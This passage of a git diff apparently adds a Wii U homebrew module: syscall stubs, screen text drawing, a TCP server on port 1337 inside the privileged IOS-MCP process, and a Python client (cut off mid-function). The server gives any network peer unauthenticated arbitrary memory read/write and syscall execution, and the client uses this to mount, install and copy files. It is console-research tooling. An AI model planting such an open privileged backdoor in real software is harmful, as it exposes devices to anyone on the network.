AF_INET6 PF_INET6 + +#define SOCK_STREAM 1 +#define SOCK_DGRAM 2 + +#define MSG_CTRUNC 0x01000000 +#define MSG_DONTROUTE 0x02000000 +#define MSG_EOR 0x04000000 +#define MSG_OOB 0x08000000 +#define MSG_PEEK 0x10000000 +#define MSG_TRUNC 0x20000000 +#define MSG_WAITALL 0x40000000 + +#define SHUT_RD 0 +#define SHUT_WR 1 +#define SHUT_RDWR 2 + +#define SO_DEBUG 0x0001 +#define SO_ACCEPTCONN 0x0002 +#define SO_REUSEADDR 0x0004 +#define SO_KEEPALIVE 0x0008 +#define SO_DONTROUTE 0x0010 +#define SO_BROADCAST 0x0020 +#define SO_USELOOPBACK 0x0040 +#define SO_LINGER 0x0080 +#define SO_OOBINLINE 0x0100 +#define SO_REUSEPORT 0x0200 +#define SO_SNDBUF 0x1001 +#define SO_RCVBUF 0x1002 +#define SO_SNDLOWAT 0x1003 +#define SO_RCVLOWAT 0x1004 +#define SO_SNDTIMEO 0x1005 +#define SO_RCVTIMEO 0x1006 +#define SO_ERROR 0x1007 +#define SO_TYPE 0x1008 + +#define INADDR_ANY 0x00000000 +#define INADDR_BROADCAST 0xFFFFFFFF +#define INADDR_NONE 0xFFFFFFFF + +#define INET_ADDRSTRLEN 16 + +#define INADDR_LOOPBACK 0x7f000001 +#define INADDR_ANY 0x00000000 +#define INADDR_BROADCAST 0xFFFFFFFF +#define INADDR_NONE 0xFFFFFFFF + +#define INET_ADDRSTRLEN 16 + +#define IPPROTO_IP 0 /* dummy for IP */ +#define IPPROTO_UDP 17 /* user datagram protocol */ +#define IPPROTO_TCP 6 /* tcp */ + +#define IP_TOS 7 +#define IP_TTL 8 +#define IP_MULTICAST_LOOP 9 +#define IP_MULTICAST_TTL 10 +#define IP_ADD_MEMBERSHIP 11 +#define IP_DROP_MEMBERSHIP 12 + +typedef uint32_t socklen_t; +typedef uint16_t sa_family_t; + +struct sockaddr +{ + sa_family_t sa_family; + char sa_data[]; +}; + +struct sockaddr_storage +{ + sa_family_t ss_family; + char __ss_padding[14]; +}; + +typedef uint16_t in_port_t; +typedef uint32_t in_addr_t; + +struct in_addr { + in_addr_t s_addr; +}; + +struct sockaddr_in { + sa_family_t sin_family; + in_port_t sin_port; + struct in_addr sin_addr; + unsigned char sin_zero[8]; +}; + +struct linger +{ + int l_onoff; + int l_linger; +}; + +int socketInit(); +int socketExit(); + +int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen); +int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen); +int closesocket(int sockfd); +int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen); +int getpeername(int sockfd, struct sockaddr *addr, socklen_t *addrlen); +int getsockname(int sockfd, struct sockaddr *addr, socklen_t *addrlen); +int getsockopt(int sockfd, int level, int optname, void *optval, socklen_t *optlen); +int listen(int sockfd, int backlog); +ssize_t recv(int sockfd, void *buf, size_t len, int flags); +ssize_t recvfrom(int sockfd, void *buf, size_t len, int flags, struct sockaddr *src_addr, socklen_t *addrlen); +ssize_t send(int sockfd, const void *buf, size_t len, int flags); +ssize_t sendto(int sockfd, const void *buf, size_t len, int flags, const struct sockaddr *dest_addr, socklen_t addrlen); +int setsockopt(int sockfd, int level, int optname, const void *optval, socklen_t optlen); +int shutdown(int sockfd, int how); +int socket(int domain, int type, int protocol); +int sockatmark(int sockfd); + +#endif diff --git a/source/ios_mcp/source/svc.h b/source/ios_mcp/source/svc.h new file mode 100644 index 0000000..0ef8c6d --- /dev/null +++ b/source/ios_mcp/source/svc.h @@ -0,0 +1,32 @@ +#ifndef SVC_H +#define SVC_H + +#include "ipc_types.h" + +typedef struct +{ + void* ptr; + u32 len; + u32 unk; +}iovec_s; + +void* svcAlloc(u32 heapid, u32 size); +void* svcAllocAlign(u32 heapid, u32 size, u32 align); +void svcFree(u32 heapid, void* ptr); +int svcOpen(char* name, int mode); +int svcClose(int fd); +int svcIoctl(int fd, u32 request, void* input_buffer, u32 input_buffer_len, void* output_buffer, u32 output_buffer_len); +int svcIoctlv(int fd, u32 request, u32 vector_count_in, u32 vector_count_out, iovec_s* vector); +int svcInvalidateDCache(void* address, u32 size); +int svcFlushDCache(void* address, u32 size); + +int svcCreateThread(int (*callback)(void* arg), void* arg, u32* stack_top, u32 stacksize, int priority, int detached); +int svcStartThread(int threadId); +int svcCreateMessageQueue(u32 *ptr, u32 n_msgs); +int svcDestroyMessageQueue(int queueid); +int svcRegisterResourceManager(const char* device, int queueid); +int svcReceiveMessage(int queueid, ipcmessage ** ipc_buf, u32 flags); +int svcResourceReply(ipcmessage * ipc_message, u32 result); +int svcCustomKernelCommand(u32 command, ...); + +#endif diff --git a/source/ios_mcp/source/svc.s b/source/ios_mcp/source/svc.s new file mode 100644 index 0000000..87518ee --- /dev/null +++ b/source/ios_mcp/source/svc.s @@ -0,0 +1,105 @@ +.section ".text" +.arm +.align 4 + +.global svcCreateThread +.type svcCreateThread, %function +svcCreateThread: + .word 0xE7F000F0 + bx lr + +.global svcStartThread +.type svcStartThread, %function +svcStartThread: + .word 0xE7F007F0 + bx lr + +.global svcCreateMessageQueue +.type svcCreateMessageQueue, %function +svcCreateMessageQueue: + .word 0xE7F00CF0 + bx lr + +.global svcDestroyMessageQueue +.type svcDestroyMessageQueue, %function +svcDestroyMessageQueue: + .word 0xE7F00DF0 + bx lr + +.global svcReceiveMessage +.type svcReceiveMessage, %function +svcReceiveMessage: + .word 0xE7F010F0 + bx lr + +.global svcAlloc +.type svcAlloc, %function +svcAlloc: + .word 0xE7F027F0 + bx lr + +.global svcAllocAlign +.type svcAllocAlign, %function +svcAllocAlign: + .word 0xE7F028F0 + bx lr + +.global svcFree +.type svcFree, %function +svcFree: + .word 0xE7F029F0 + bx lr + +.global svcRegisterResourceManager +.type svcRegisterResourceManager, %function +svcRegisterResourceManager: + .word 0xE7F02CF0 + bx lr + +.global svcOpen +.type svcOpen, %function +svcOpen: + .word 0xE7F033F0 + bx lr + +.global svcClose +.type svcClose, %function +svcClose: + .word 0xE7F034F0 + bx lr + +.global svcIoctl +.type svcIoctl, %function +svcIoctl: + .word 0xE7F038F0 + bx lr + +.global svcIoctlv +.type svcIoctlv, %function +svcIoctlv: + .word 0xE7F039F0 + bx lr + +.global svcResourceReply +.type svcResourceReply, %function +svcResourceReply: + .word 0xE7F049F0 + bx lr + +.global svcInvalidateDCache +.type svcInvalidateDCache, %function +svcInvalidateDCache: + .word 0xE7F051F0 + bx lr + +.global svcFlushDCache +.type svcFlushDCache, %function +svcFlushDCache: + .word 0xE7F052F0 + bx lr + +.global svcCustomKernelCommand +.type svcCustomKernelCommand, %function +svcCustomKernelCommand: + .word 0xE7F081F0 + bx lr diff --git a/source/ios_mcp/source/text.c b/source/ios_mcp/source/text.c new file mode 100644 index 0000000..8d5b425 --- /dev/null +++ b/source/ios_mcp/source/text.c @@ -0,0 +1,105 @@ +#include +#include +#include +#include "imports.h" +#include "font_bin.h" + +#define FRAMEBUFFER_ADDRESS (0x14000000+0x38C0000) +#define FRAMEBUFFER_STRIDE (0xE00) +#define FRAMEBUFFER_STRIDE_WORDS (FRAMEBUFFER_STRIDE >> 2) + +#define CHAR_SIZE_X (8) +#define CHAR_SIZE_Y (8) + +static const u8 *launch_image_tga = (const u8*)0x27000000; + +u32* const framebuffer = (u32*)FRAMEBUFFER_ADDRESS; + +void drawSplashScreen(void) +{ + // check if it is an unmapped RGB tga + if(*(u32*)launch_image_tga != 0x00000200) + return; + + int i; + for(i = 0; i < (896 * 504); i++) + { + u32 pixel; + u32 pixelOffset = 0x12 + i * 2; + // access only 4 byte aligned data as the file is in code section + u32 dualPixel = *(u32*)(launch_image_tga + (pixelOffset & ~3)); + + if((pixelOffset & 3) == 0) + { + pixel = ((dualPixel >> 24) & 0xFF) | (((dualPixel >> 16) & 0xFF) << 8); + } + else + { + pixel = ((dualPixel >> 8) & 0xFF) | ((dualPixel & 0xFF) << 8); + } + + framebuffer[i] = (((pixel >> 10) & 0x1F) << (3 + 24)) | (((pixel >> 5) & 0x1F) << (3 + 16)) | ((pixel & 0x1F) << (3 + 8)) | 0xFF; + } +} + +void clearScreen(u32 color) +{ + int i; + for(i = 0; i < 896 * 504; i++) + { + framebuffer[i] = color; + } +} + +void drawCharacter(char c, int x, int y) +{ + if(c < 32)return; + c -= 32; + u8* charData = (u8*)&font_bin[(CHAR_SIZE_X * CHAR_SIZE_Y * c) / 8]; + u32* fb = &framebuffer[x + y * FRAMEBUFFER_STRIDE_WORDS]; + int i, j; + for(i = 0; i < CHAR_SIZE_Y; i++) + { + u8 v= *(charData++); + for(j = 0; j < CHAR_SIZE_X; j++) + { + if(v & 1) *fb = 0x00000000; + else *fb = 0xFFFFFFFF; + v >>= 1; + fb++; + } + fb += FRAMEBUFFER_STRIDE_WORDS - CHAR_SIZE_X; + } +} + +void drawString(char* str, int x, int y) +{ + if(!str) return; + int k; + int dx = 0, dy = 0; + for(k = 0; str[k]; k++) + { + if(str[k] >= 32 && str[k] < 128) drawCharacter(str[k], x + dx, y + dy); + + dx += 8; + + if(str[k] == '\n') + { + dx = 0; + dy -= 8; + } + } +} + +void print(int x, int y, const char *format, ...) +{ + va_list args; + va_start(args, format); + + static char buffer[0x100]; + + vsnprintf(buffer, 0xFF, format, args); + drawString(buffer, x, y); + + va_end(args); +} diff --git a/source/ios_mcp/source/text.h b/source/ios_mcp/source/text.h new file mode 100644 index 0000000..b0d5835 --- /dev/null +++ b/source/ios_mcp/source/text.h @@ -0,0 +1,11 @@ +#ifndef TEXT_H +#define TEXT_H + +#include "types.h" + +void drawSplashScreen(void); +void clearScreen(u32 color); +void drawString(char* str, int x, int y); +void print(int x, int y, const char *format, ...); + +#endif diff --git a/source/ios_mcp/source/types.h b/source/ios_mcp/source/types.h new file mode 100644 index 0000000..832bc29 --- /dev/null +++ b/source/ios_mcp/source/types.h @@ -0,0 +1,29 @@ +#ifndef TYPES_H +#define TYPES_H + + #include + #include + + #define U64_MAX UINT64_MAX + + typedef uint8_t u8; + typedef uint16_t u16; + typedef uint32_t u32; + typedef uint64_t u64; + + typedef int8_t s8; + typedef int16_t s16; + typedef int32_t s32; + typedef int64_t s64; + + typedef volatile u8 vu8; + typedef volatile u16 vu16; + typedef volatile u32 vu32; + typedef volatile u64 vu64; + + typedef volatile s8 vs8; + typedef volatile s16 vs16; + typedef volatile s32 vs32; + typedef volatile s64 vs64; + +#endif diff --git a/source/ios_mcp/source/utils.c b/source/ios_mcp/source/utils.c new file mode 100644 index 0000000..ca64f72 --- /dev/null +++ b/source/ios_mcp/source/utils.c @@ -0,0 +1,42 @@ +#include +#include +#include +#include +#include +#include +#include "utils.h" +#include "logger.h" + +// https://gist.github.com/ccbrown/9722406 +void dumpHex(const void* data, size_t size) { + char ascii[17]; + size_t i, j; + ascii[16] = '\0'; + DEBUG_FUNCTION_LINE("0x%08X (0x0000): ", data); + for (i = 0; i < size; ++i) { + log_printf("%02X ", ((unsigned char*)data)[i]); + if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') { + ascii[i % 16] = ((unsigned char*)data)[i]; + } else { + ascii[i % 16] = '.'; + } + if ((i+1) % 8 == 0 || i+1 == size) { + log_printf(" "); + if ((i+1) % 16 == 0) { + log_printf("| %s \n", ascii); + if(i + 1 < size) { + DEBUG_FUNCTION_LINE("0x%08X (0x%04X); ", data + i + 1,i+1); + } + } else if (i+1 == size) { + ascii[(i+1) % 16] = '\0'; + if ((i+1) % 16 <= 8) { + log_printf(" "); + } + for (j = (i+1) % 16; j < 16; ++j) { + log_printf(" "); + } + log_printf("| %s \n", ascii); + } + } + } +} diff --git a/source/ios_mcp/source/utils.h b/source/ios_mcp/source/utils.h new file mode 100644 index 0000000..d57fb0b --- /dev/null +++ b/source/ios_mcp/source/utils.h @@ -0,0 +1,17 @@ +#ifndef __UTILS_H_ +#define __UTILS_H_ + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +//Need to have log_init() called beforehand. +void dumpHex(const void* data, size_t size); + +#ifdef __cplusplus +} +#endif + +#endif // __UTILS_H_ diff --git a/source/ios_mcp/source/wupserver.c b/source/ios_mcp/source/wupserver.c new file mode 100644 index 0000000..178fd98 --- /dev/null +++ b/source/ios_mcp/source/wupserver.c @@ -0,0 +1,254 @@ +#include +#include +#include +#include "imports.h" +#include "net_ifmgr_ncl.h" +#include "socket.h" +#include "fsa.h" +#include "svc.h" +#include "text.h" +#include "logger.h" +#include "ipc.h" + +static int serverKilled; +static int serverSocket; +static u8 threadStack[0x1000] __attribute__((aligned(0x20))); + +// overwrites command_buffer with response +// returns length of response (or 0 for no response, negative for error) +static int serverCommandHandler(u32* command_buffer, u32 length) +{ + if(!command_buffer || !length) return -1; + + int out_length = 4; + + switch(command_buffer[0]) + { + case 0: + // write + // [cmd_id][addr] + { + void* dst = (void*)command_buffer[1]; + + memcpy(dst, &command_buffer[2], length - 8); + } + break; + case 1: + // read + // [cmd_id][addr][length] + { + void* src = (void*)command_buffer[1]; + length = command_buffer[2]; + + memcpy(&command_buffer[1], src, length); + out_length = length + 4; + } + break; + case 2: + // svc + // [cmd_id][svc_id] + { + int svc_id = command_buffer[1]; + int size_arguments = length - 8; + + u32 arguments[8]; + memset(arguments, 0x00, sizeof(arguments)); + memcpy(arguments, &command_buffer[2], (size_arguments < 8 * 4) ? size_arguments : (8 * 4)); + + // return error code as data + out_length = 8; + command_buffer[1] = ((int (*const)(u32, u32, u32, u32, u32, u32, u32, u32))(MCP_SVC_BASE + svc_id * 8))(arguments[0], arguments[1], arguments[2], arguments[3], arguments[4], arguments[5], arguments[6], arguments[7]); + } + break; + case 3: + // kill + // [cmd_id] + { + serverKilled = 1; + ipc_deinit(); + } + break; + case 4: + // memcpy + // [dst][src][size] + { + void* dst = (void*)command_buffer[1]; + void* src = (void*)command_buffer[2]; + int size = command_buffer[3]; + + memcpy(dst, src, size); + } + break; + case 5: + // repeated-write + // [address][value][n] + { + u32* dst = (u32*)command_buffer[1]; + u32* cache_range = (u32*)(command_buffer[1] & ~0xFF); + u32 value = command_buffer[2]; + u32 n = command_buffer[3]; + + u32 old = *dst; + int i; + for(i = 0; i < n; i++) + { + if(*dst != old) + { + if(*dst == 0x0) old = *dst; + else + { + *dst = value; + svcFlushDCache(cache_range, 0x100); + break; + } + }else + { + svcInvalidateDCache(cache_range, 0x100); + usleep(50); + } + } + } + break; + default: + // unknown command + return -2; + break; + } + + // no error ! + command_buffer[0] = 0x00000000; + return out_length; +} + +static void serverClientHandler(int sock) +{ + u32 command_buffer[0x180]; + + while(!serverKilled) + { + int ret = recv(sock, command_buffer, sizeof(command_buffer), 0); + + if(ret <= 0) break; + + ret = serverCommandHandler(command_buffer, ret); + + if(ret > 0) + { + send(sock, command_buffer, ret, 0); + }else if(ret < 0) + { + send(sock, &ret, sizeof(int), 0); + } + } + + closesocket(sock); +} + +static void serverListenClients() +{ + serverSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + + struct sockaddr_in server; + + memset(&server, 0x00, sizeof(server)); + + server.sin_family = AF_INET; + server.sin_port = 1337; + server.sin_addr.s_addr = 0; + + if(bind(serverSocket, (struct sockaddr *)&server, sizeof(server)) < 0) + { + closesocket(serverSocket); + return; + } + + if(listen(serverSocket, 1) < 0) + { + closesocket(serverSocket); + return; + } + + while(!serverKilled) + { + int csock = accept(serverSocket, NULL, NULL); + if(csock < 0) + break; + + serverClientHandler(csock); + } + + closesocket(serverSocket); + serverSocket = -1; +} + +static int wupserver_thread(void *arg) +{ + while(ifmgrnclInit() <= 0) + { + //print(0, 0, "opening /dev/net/ifmgr/ncl..."); + usleep(1000); + } + + while(true) + { + u16 out0, out1; + + int ret0 = IFMGRNCL_GetInterfaceStatus(0, &out0); + if(!ret0 && out0 == 1) break; + + int ret1 = IFMGRNCL_GetInterfaceStatus(1, &out1); + if(!ret1 && out1 == 1) break; + + //print(0, 0, "initializing /dev/net/ifmgr/ncl... %08X %08X %08X %08X ", ret0, ret1, out0, out1); + + usleep(1000); + } + + while(socketInit() <= 0) + { + //print(0, 0, "opening /dev/socket..."); + usleep(1000); + } + +#ifdef LOG_IP + log_init(LOG_IP); +#else + log_init(0xC0A8B203); +#endif + + //print(0, 0, "opened /dev/socket !"); + usleep(5*1000*1000); + //print(0, 10, "attempting sockets !"); + + while(1) + { + if(!serverKilled) + { + serverListenClients(); + } + else + { + break; + } + usleep(1000*1000); + } + + log_deinit(); + return 0; +} + +void wupserver_init(void) +{ + serverSocket = -1; + serverKilled = 0; + + int threadId = svcCreateThread(wupserver_thread, 0, (u32*)(threadStack + sizeof(threadStack)), sizeof(threadStack), 0x78, 1); + if(threadId >= 0) + svcStartThread(threadId); +} + +void wupserver_deinit(void) +{ + serverKilled = 1; + shutdown(serverSocket, SHUT_RDWR); +} diff --git a/source/ios_mcp/source/wupserver.h b/source/ios_mcp/source/wupserver.h new file mode 100644 index 0000000..506349a --- /dev/null +++ b/source/ios_mcp/source/wupserver.h @@ -0,0 +1,7 @@ +#ifndef WUPSERVER_H +#define WUPSERVER_H + +void wupserver_init(void); +void wupserver_deinit(void); + +#endif diff --git a/source/ios_mcp/wupclient.py b/source/ios_mcp/wupclient.py new file mode 100644 index 0000000..41ba104 --- /dev/null +++ b/source/ios_mcp/wupclient.py @@ -0,0 +1,756 @@ +# may or may not be inspired by plutoo's ctrrpc +import errno +import socket +import os +import sys +import struct +from time import sleep + +def buffer(size): + return bytearray([0x00] * size) + +def copy_string(buffer, s, offset): + s += "\0" + buffer[offset : (offset + len(s))] = bytearray(s, "ascii") + +def copy_word(buffer, w, offset): + buffer[offset : (offset + 4)] = struct.pack(">I", w) + +def get_string(buffer, offset): + s = buffer[offset:] + if b'\x00' in s: + return s[:s.index(b'\x00')].decode("utf-8") + else: + return s.decode("utf-8") + +class wupclient: + s=None + + def __init__(self, ip='192.168.178.23', port=1337): + self.s=socket.socket() + self.s.connect((ip, port)) + self.fsa_handle = None + self.cwd = "/vol/storage_mlc01" + + def __del__(self): + if self.fsa_handle != None: + self.close(self.fsa_handle) + self.fsa_handle = None + + # fundamental comms + def send(self, command, data): + request = struct.pack('>I', command) + data + + self.s.send(request) + response = self.s.recv(0x600) + + ret = struct.unpack(">I", response[:4])[0] + return (ret, response[4:]) + + # core commands + def read(self, addr, len): + data = struct.pack(">II", addr, len) + ret, data = self.send(1, data) + if ret == 0: + return data + else: + print("read error : %08X" % ret) + return None + + def write(self, addr, data): + data = struct.pack(">I", addr) + data + ret, data = self.send(0, data) + if ret == 0: + return ret + else: + print("write error : %08X" % ret) + return None + + def svc(self, svc_id, arguments): + data = struct.pack(">I", svc_id) + for a in arguments: + data += struct.pack(">I", a) + ret, data = self.send(2, data) + if ret == 0: + return struct.unpack(">I", data)[0] + else: + print("svc error : %08X" % ret) + return None + + def kill(self): + ret, _ = self.send(3, bytearray()) + return ret + + def memcpy(self, dst, src, len): + data = struct.pack(">III", dst, src, len) + ret, data = self.send(4, data) + if ret == 0: + return ret + else: + print("memcpy error : %08X" % ret) + return None + + def repeatwrite(self, dst, val, n): + data = struct.pack(">III", dst, val, n) + ret, data = self.send(5, data) + if ret == 0: + return ret + else: + print("repeatwrite error : %08X" % ret) + return None + + # derivatives + def alloc(self, size, align = None): + if size == 0: + return 0 + if align == None: + return self.svc(0x27, [0xCAFF, size]) + else: + return self.svc(0x28, [0xCAFF, size, align]) + + def free(self, address): + if address == 0: + return 0 + return self.svc(0x29, [0xCAFF, address]) + + def load_buffer(self, b, align = None): + if len(b) == 0: + return 0 + address = self.alloc(len(b), align) + self.write(address, b) + return address + + def load_string(self, s, align = None): + return self.load_buffer(bytearray(s + "\0", "ascii"), align) + + def open(self, device, mode): + address = self.load_string(device) + handle = self.svc(0x33, [address, mode]) + self.free(address) + return handle + + def close(self, handle): + return self.svc(0x34, [handle]) + + def ioctl(self, handle, cmd, inbuf, outbuf_size): + in_address = self.load_buffer(inbuf) + out_data = None + if outbuf_size > 0: + out_address = self.alloc(outbuf_size) + ret = self.svc(0x38, [handle, cmd, in_address, len(inbuf), out_address, outbuf_size]) + out_data = self.read(out_address, outbuf_size) + self.free(out_address) + else: + ret = self.svc(0x38, [handle, cmd, in_address, len(inbuf), 0, 0]) + self.free(in_address) + return (ret, out_data) + + def iovec(self, vecs): + data = bytearray() + for (a, s) in vecs: + data += struct.pack(">III", a, s, 0) + return self.load_buffer(data) + + def ioctlv(self, handle, cmd, inbufs, outbuf_sizes, inbufs_ptr = [], outbufs_ptr = []): + inbufs = [(self.load_buffer(b, 0x40), len(b)) for b in inbufs] + outbufs = [(self.alloc(s, 0x40), s) for s in outbuf_sizes] + iovecs = self.iovec(inbufs + inbufs_ptr + outbufs_ptr + outbufs) + out_data = [] + ret = self.svc(0x39, [handle, cmd, len(inbufs + inbufs_ptr), len(outbufs + outbufs_ptr), iovecs]) + for (a, s) in outbufs: + out_data += [self.read(a, s)] + for (a, _) in (inbufs + outbufs): + self.free(a) + self.free(iovecs) + return (ret, out_data) + + # fsa + def FSA_Mount(self, handle, device_path, volume_path, flags): + inbuffer = buffer(0x520) + copy_string(inbuffer, device_path, 0x0004) + copy_string(inbuffer, volume_path, 0x0284) + copy_word(inbuffer, flags, 0x0504) + (ret, _) = self.ioctlv(handle, 0x01, [inbuffer, bytearray()], [0x293]) + return ret + + def FSA_Unmount(self, handle, path, flags): + inbuffer = buffer(0x520) + copy_string(inbuffer, path, 0x4) + copy_word(inbuffer, flags, 0x284) + (ret, _) = self.ioctl(handle, 0x02, inbuffer, 0x293) + return ret + + def FSA_RawOpen(self, handle, device): + inbuffer = buffer(0x520) + copy_string(inbuffer, device, 0x4) + (ret, data) = self.ioctl(handle, 0x6A, inbuffer, 0x293) + return (ret, struct.unpack(">I", data[4:8])[0]) + + def FSA_OpenDir(self, handle, path): + inbuffer = buffer(0x520) + copy_string(inbuffer, path, 0x4) + (ret, data) = self.ioctl(handle, 0x0A, inbuffer, 0x293) + return (ret, struct.unpack(">I", data[4:8])[0]) + + def FSA_ReadDir(self, handle, dir_handle): + inbuffer = buffer(0x520) + copy_word(inbuffer, dir_handle, 0x4) + (ret, data) = self.ioctl(handle, 0x0B, inbuffer, 0x293) + data = bytearray(data[4:]) + unk = data[:0x64] + if ret == 0: + return (ret, {"name" : get_string(data, 0x64), "is_file" : (unk[0] & 128) != 128, "unk" : unk}) + else: + return (ret, None) + + def FSA_CloseDir(self, handle, dir_handle): + inbuffer = buffer(0x520) + copy_word(inbuffer, dir_handle, 0x4) + (ret, data) = self.ioctl(handle, 0x0D, inbuffer, 0x293) + return ret + + def FSA_OpenFile(self, handle, path, mode): + inbuffer = buffer(0x520) + copy_string(inbuffer, path, 0x4) + copy_string(inbuffer, mode, 0x284) + (ret, data) = self.ioctl(handle, 0x0E, inbuffer, 0x293) + return (ret, struct.unpack(">I", data[4:8])[0]) + + def FSA_MakeDir(self, handle, path, flags): + inbuffer = buffer(0x520) + copy_string(inbuffer, path, 0x4) + copy_word(inbuffer, flags, 0x284) + (ret, _) = self.ioctl(handle, 0x07, inbuffer, 0x293) + return ret + + def FSA_ReadFile(self, handle, file_handle, size, cnt): + inbuffer = buffer(0x520) + copy_word(inbuffer, size, 0x08) + copy_word(inbuffer, cnt, 0x0C) + copy_word(inbuffer, file_handle, 0x14) + (ret, data) = self.ioctlv(handle, 0x0F, [inbuffer], [size * cnt, 0x293]) + return (ret, data[0]) + + def FSA_WriteFile(self, handle, file_handle, data): + inbuffer = buffer(0x520) + copy_word(inbuffer, 1, 0x08) # size + copy_word(inbuffer, len(data), 0x0C) # cnt + copy_word(inbuffer, file_handle, 0x14) + (ret, data) = self.ioctlv(handle, 0x10, [inbuffer, data], [0x293]) + return (ret) + + def FSA_ReadFilePtr(self, handle, file_handle, size, cnt, ptr): + inbuffer = buffer(0x520) + copy_word(inbuffer, size, 0x08) + copy_word(inbuffer, cnt, 0x0C) + copy_word(inbuffer, file_handle, 0x14) + (ret, data) = self.ioctlv(handle, 0x0F, [inbuffer], [0x293], [], [(ptr, size*cnt)]) + return (ret, data[0]) + + def FSA_WriteFilePtr(self, handle, file_handle, size, cnt, ptr): + inbuffer = buffer(0x520) + copy_word(inbuffer, size, 0x08) + copy_word(inbuffer, cnt, 0x0C) + copy_word(inbuffer, file_handle, 0x14) + (ret, data) = self.ioctlv(handle, 0x10, [inbuffer], [0x293], [(ptr, size*cnt)], []) + return (ret) + + def FSA_GetStatFile(self, handle, file_handle): + inbuffer = buffer(0x520) + copy_word(inbuffer, file_handle, 0x4) + (ret, data) = self.ioctl(handle, 0x14, inbuffer, 0x64) + return (ret, struct.unpack(">IIIIIIIIIIIIIIIIIIIIIIIII", data)) + + def FSA_CloseFile(self, handle, file_handle): + inbuffer = buffer(0x520) + copy_word(inbuffer, file_handle, 0x4) + (ret, data) = self.ioctl(handle, 0x15, inbuffer, 0x293) + return ret + + def FSA_ChangeMode(self, handle, path, mode): + mask = 0x777 + inbuffer = buffer(0x520) + copy_string(inbuffer, path, 0x0004) + copy_word(inbuffer, mode, 0x0284) + copy_word(inbuffer, mask, 0x0288) + (ret, _) = self.ioctl(handle, 0x20, inbuffer, 0x293) + return ret + + # mcp + def MCP_InstallGetInfo(self, handle, path): + inbuffer = buffer(0x27F) + copy_string(inbuffer, path, 0x0) + (ret, data) = self.ioctlv(handle, 0x80, [inbuffer], [0x16]) + return (ret, struct.unpack(">IIIIIH", data[0])) + + def MCP_Install(self, handle, path): + inbuffer = buffer(0x27F) + copy_string(inbuffer, path, 0x0) + (ret, _) = self.ioctlv(handle, 0x81, [inbuffer], []) + return ret + + def MCP_InstallGetProgress(self, handle): + (ret, data) = self.ioctl(handle, 0x82, [], 0x24) + return (ret, struct.unpack(">IIIIIIIII", data)) + + def MCP_CopyTitle(self, handle, path, dst_device_id, flush): + inbuffer = buffer(0x27F) + copy_string(inbuffer, path, 0x0) + inbuffer2 = buffer(0x4) + copy_word(inbuffer2, dst_device_id, 0x0) + inbuffer3 = buffer(0x4) + copy_word(inbuffer3, flush, 0x0) + (ret, _) = self.ioctlv(handle, 0x85, [inbuffer, inbuffer2, inbuffer3], []) + return ret + + def MCP_InstallSetTargetDevice(self, handle, device): + inbuffer = buffer(0x4) + copy_word(inbuffer, device, 0x0) + (ret, _) = self.ioctl(handle, 0x8D, inbuffer, 0) + return ret + + def MCP_InstallSetTargetUsb(self, handle, device): + inbuffer = buffer(0x4) + copy_word(inbuffer, device, 0x0) + (ret, _) = self.ioctl(handle, 0xF1, inbuffer, 0) + return ret + + # syslog (tmp) + def dump_syslog(self): + syslog_address = struct.unpack(">I", self.read(0x05095ECC, 4))[0] + 0x10 + block_size = 0x400 + for i in range(0, 0x40000, block_size): + data = self.read(syslog_address + i, 0x400) + # if 0 in data: + # print(data[:data.index(0)].decode("ascii")) + # break + # else: + print(data) + + # file management + def get_fsa_handle(self): + if self.fsa_handle == None: + self.fsa_handle = self.open("/dev/fsa", 0) + return self.fsa_handle + + def mkdir(self, path, flags): + fsa_handle = self.get_fsa_handle() + if path[0] != "/": + path = self.cwd + "/" + path + ret = w.FSA_MakeDir(fsa_handle, path, flags) + if ret == 0: + return 0 + else: + print("mkdir error (%s, %08X)" % (path, ret)) + return ret + + def chmod(self, filename, flags): + fsa_handle = self.get_fsa_handle() + if filename[0] != "/": + filename = self.cwd + "/" + filename + ret = w.FSA_ChangeMode(fsa_handle, filename, flags) + print("chmod returned : " + hex(ret)) + + def cd(self, path): + if path[0] != "/" and self.cwd[0] == "/": + return self.cd(self.cwd + "/" + path) + fsa_handle = self.get_fsa_handle() + ret, dir_handle = self.FSA_OpenDir(fsa_handle, path if path != None else self.cwd) + if ret == 0: + self.cwd = path + self.FSA_CloseDir(fsa_handle, dir_handle) + return 0 + else: + print("cd error : path does not exist (%s)" % (path)) + return -1 + + def ls(self, path = None, return_data = False): + fsa_handle = self.get_fsa_handle() + if path != None and path[0] != "/": + path = self.cwd + "/" + path + ret, dir_handle = self.FSA_OpenDir(fsa_handle, path if path != None else self.cwd) + if ret != 0x0: + print("opendir error : " + hex(ret)) + return [] if return_data else None + entries = [] + while True: + ret, data = self.FSA_ReadDir(fsa_handle, dir_handle) + if ret != 0: + break + if not(return_data): + if data["is_file"]: + print(" %s" % data["name"]) + else: + print(" %s/" % data["name"]) + else: + entries += [data] + ret = self.FSA_CloseDir(fsa_handle, dir_handle) + return entries if return_data else None + + def dldir(self, path): + if path[0] != "/": + path = self.cwd + "/" + path + entries = self.ls(path, True) + for e in entries: + if e["is_file"]: + print(e["name"]) + self.dl(path + "/" + e["name"],path[1:]) + else: + print(e["name"] + "/") + self.dldir(path + "/" + e["name"]) + + def cpdir(self, srcpath, dstpath): + entries = self.ls(srcpath, True) + q = [(srcpath, dstpath, e) for e in entries] + while len(q) > 0: + _srcpath, _dstpath, e = q.pop() + _srcpath += "/" + e["name"] + _dstpath += "/" + e["name"] + if e["is_file"]: + print(e["name"]) + self.cp(_srcpath, _dstpath) + else: + self.mkdir(_dstpath, 0x600) + entries = self.ls(_srcpath, True) + q += [(_srcpath, _dstpath, e) for e in entries] + + def pwd(self): + return self.cwd + + def cp(self, filename_in, filename_out): + fsa_handle = self.get_fsa_handle() + ret, in_file_handle = self.FSA_OpenFile(fsa_handle, filename_in, "r") + if ret != 0x0: + print("cp error : could not open " + filename_in) + return + ret, out_file_handle = self.FSA_OpenFile(fsa_handle, filename_out, "w") + if ret != 0x0: + print("cp error : could not open " + filename_out) + return + block_size = 0x10000 + buffer = self.alloc(block_size, 0x40) + k = 0 + while True: + ret, _ = self.FSA_ReadFilePtr(fsa_handle, in_file_handle, 0x1, block_size, buffer) + k += ret + ret = self.FSA_WriteFilePtr(fsa_handle, out_file_handle, 